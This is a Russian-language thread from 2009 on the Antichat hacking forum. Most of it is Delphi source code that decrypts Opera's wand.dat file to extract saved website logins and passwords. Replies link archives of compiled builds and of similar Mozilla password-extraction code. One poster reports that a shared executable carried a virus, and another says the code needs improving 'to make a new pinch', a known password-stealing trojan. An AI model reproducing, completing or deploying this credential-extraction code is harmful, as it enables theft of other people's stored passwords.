ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
Расшифровка wand.dat(Opera) на дельфи |

12.08.2009, 04:51
|
|
Познающий
Регистрация: 13.06.2009
Сообщений: 32
Провел на форуме: 42683
Репутация:
2
|
|
Расшифровка wand.dat(Opera) на дельфи
Плз ктонить из шаричих попробуйте запустить его
PHP код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, DCPdes, DCPsha1, DCPmd5;
type
TForm1 = class(TForm)
Button1: TButton;
ListBox1: TListBox;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Run1;
function DecryptWandPass(const Key, Data: String): String;
procedure ProcessWandData(M: TMemoryStream);
end;
var
Form1: TForm1;
FormsList: TList;
AccountList: TList;
M: TMemoryStream;
type
POperaItem = ^TOperaItem;
TOperaItem = record
Site: String;
Params: TStringList;
end;
implementation
{$R *.dfm}
const
opera_magic_wand: array[0..10] of Byte = ($83, $7D, $FC, $0F, $8E, $B3, $E8, $69, $73, $AF, $FF);
procedure OperaDecrypt(key: Pointer; data, dataout: Pointer; len: Integer; magic: Pointer; magic_len: Integer);
var
out_1: array[0..63] of Byte;
out_2: array[0..63] of Byte;
digest_1: array[0..15] of Byte;
digest_2: array[0..15] of Byte;
des_key: array[0..23] of Byte;
md5: TDCP_md5;
Cipher: TDCP_3des;
begin
md5 := TDCP_md5.Create(nil);
md5.Init;
Move(magic^, out_1, magic_len);
Move(key^, out_1[magic_len], 8);
md5.Update(out_1, magic_len+8);
md5.Final(digest_1);
Move(digest_1, des_key, 16);
md5.Init;
Move(digest_1, out_2, 16);
Move(magic^, out_2[16], magic_len);
Move(key^, out_2[16+magic_len], 8);
md5.Update(out_2, 24+magic_len);
md5.Final(digest_2);
md5.Burn;
md5.Free;
Move(digest_2, des_key[16], 8);
Cipher := TDCP_3des.Create(nil);
Cipher.Init(des_key, 192, @digest_2[8]);
Cipher.DecryptCBC(data^, dataout^, len);
Cipher.Burn;
Cipher.Free;
end;
function TForm1.DecryptWandPass(const Key, Data: String): String;
begin
Result := '';
if Length(Key) <> 8 then Exit;
if (Length(Data) < 8) or (Length(Data) mod 8 <> 0) then Exit;
SetLength(Result, Length(Data));
OperaDecrypt(@Key[1], @Data[1], @Result[1], Length(Data), @opera_magic_wand, SizeOf(opera_magic_wand));
SetLength(Result, Length(Result)-Ord(Result[Length(Result)])); // Cut unused chars
Result := WideCharToString(@(Result+#0#0)[1]); // Wide>ANSI
end;
procedure TForm1.ProcessWandData(M: TMemoryStream);
var
P: POperaItem;
function Swap32(Value: LongWord): LongWord; assembler;
asm
bswap eax
end;
function ReadDWord: LongWord;
begin
M.ReadBuffer(Result,4);
Result := Swap32(Result);
end;
function ReadVariable(CLen: LongWord): String;
begin
SetLength(Result, CLen);
M.ReadBuffer(Result[1], CLen);
end;
function ReadSiteHeader: Integer;
var
Key, Data: String;
begin
if ReadDWord <= 4 then // Len
ReadDWord;
// Site name
Key := ReadVariable(ReadDWord);
Data := ReadVariable(ReadDWord);
New(P);
P.Params := TStringList.Create;
P.Site := DecryptWandPass(Key, Data);
FormsList.Add(P);
// Submit button name
if ReadDWord > 0 then begin
ReadVariable(ReadDWord); // Key
ReadVariable(ReadDWord); // Data
end;
ReadVariable(24); // Unknown
Result := ReadDWord; // Number of children
end;
procedure ReadSiteItem;
var
Key, Data, Key2, Data2: String;
begin
ReadVariable(1); // Unknown
if ReadDWord <= 4 then // Len
ReadDWord;
// Input name
Key := ReadVariable(ReadDWord);
showmessage(key);
Data := ReadVariable(ReadDWord);
if ReadDWord <= 4 then // Len
ReadDWord;
// Input value
Key2 := ReadVariable(ReadDWord);
showmessage('Key : ' +key2);
Data2 := ReadVariable(ReadDWord);
if P <> nil then
P.Params.Add(DecryptWandPass(Key, Data) + '=' + DecryptWandPass(Key2, Data2));
end;
var
i, j: Integer;
begin
if M.Size < 16 then begin showmessage('error 1'); Exit; end;
if ReadDWord <> 2 then begin showmessage('err 2'); Exit; end; // Version
if ReadDWord <> 0 then begin showmessage('err 3'); Exit; end; // 1 - crypted, 0 - not crypted
ReadVariable(8); // Unknown
P := nil;
// Header
ReadDWord; // Len
ReadVariable(ReadDWord); // Key
ReadVariable(ReadDWord); // Data
ReadVariable(37); // Unknown
// Data types?
for i := 1 to ReadDWord do begin
ReadVariable(1); // Unknown
ReadVariable(4); // Len
ReadVariable(ReadDWord); // Key
ReadVariable(ReadDWord); // Data
ReadVariable(8); // Unknown
end;
// LogProfile
ReadVariable(4); // Len
ReadVariable(ReadDWord); // Key
ReadVariable(ReadDWord); // Data
ReadVariable(1); // Boolean
// Sites
for i := 1 to ReadDWord do
for j := 1 to ReadSiteHeader do
ReadSiteItem;
end;
procedure TForm1.Run1;
var
result : string;
begin
M := TMemoryStream.Create;
M.LoadFromFile('wand.dat');
Memo1.Lines.LoadFromStream(M);
M.Position:=0;
ProcessWandData(M);
M.Free;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Run1;
end;
end.
|
|
|

16.08.2009, 03:47
|
|
Участник форума
Регистрация: 07.01.2009
Сообщений: 186
Провел на форуме: 1247273
Репутация:
166
|
|
Мож заодно пасы/инки подкинешь? DCPdes, DCPsha1, DCPmd5.
Зачем извращаться, когда есть на CPP. А это жалкая пародия на переделку в делфи-вариант
Тут на CPP
Последний раз редактировалось ex3me; 16.08.2009 в 03:49..
|
|
|

17.08.2009, 06:59
|
|
Познающий
Регистрация: 13.06.2009
Сообщений: 32
Провел на форуме: 42683
Репутация:
2
|
|
Сообщение от ex3me
Мож заодно пасы/инки подкинешь? DCPdes, DCPsha1, DCPmd5.
Зачем извращаться, когда есть на CPP. А это жалкая пародия на переделку в делфи-вариант
Тут на CPP
DCPdes, DCPsha1, DCPmd5 это VCL библиотека)
Я вкурсах что переделка поэтому она и нужна))
|
|
|

21.08.2009, 18:16
|
|
Участник форума
Регистрация: 02.06.2009
Сообщений: 143
Провел на форуме: 343507
Репутация:
114
|
|
Вот.
http://wramlab.narod.ru/achat.rar
В архиве исходники, VCL библиотека и exe.
Скомпилировал и т.д. С интерфейсом не заморачивался и не тестировал, так как не знаю толком, что за прога. Да и Nod32 что-то не взлюбил ее. В общем качай и проверяй сам.
--------------------------------------------------------------------
P.S. Exe пришлось удалить, так как был заражен вирусом, но исходники компилятся норм.
Последний раз редактировалось W@r.N0i$e; 21.08.2009 в 19:49..
|
|
|

21.08.2009, 19:21
|
|
Участник форума
Регистрация: 07.01.2009
Сообщений: 186
Провел на форуме: 1247273
Репутация:
166
|
|
W@r.N0i$e, спасибо, и я погляжу.
Вылечись от Win32.Include только =)
|
|
|

21.08.2009, 21:38
|
|
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
Провел на форуме: 4297091
Репутация:
2261
|
|
то же самое, на Дельфи, но для Мозилы (сурсы)
http://narod.ru/disk/12269424000/mozilla_pass_by_evalux.rar.html
(автор кода - наш eLWAux)
|
|
|

21.08.2009, 22:00
|
|
Участник форума
Регистрация: 07.01.2009
Сообщений: 186
Провел на форуме: 1247273
Репутация:
166
|
|
По сабжу: код хреново написан в декодере для wand.dat
У меня лично выдает Err=2 =\ Надо доводить до ума и делать новый пинч )
|
|
|

06.09.2009, 21:02
|
|
Познающий
Регистрация: 17.07.2009
Сообщений: 47
Провел на форуме: 131272
Репутация:
4
|
|
если кому нужны недостающие файлы (модули) то они тут
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Исходники криптора на дельфи
|
7ion |
С/С++, C#, Delphi, .NET, Asm |
23 |
14.09.2008 13:41 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|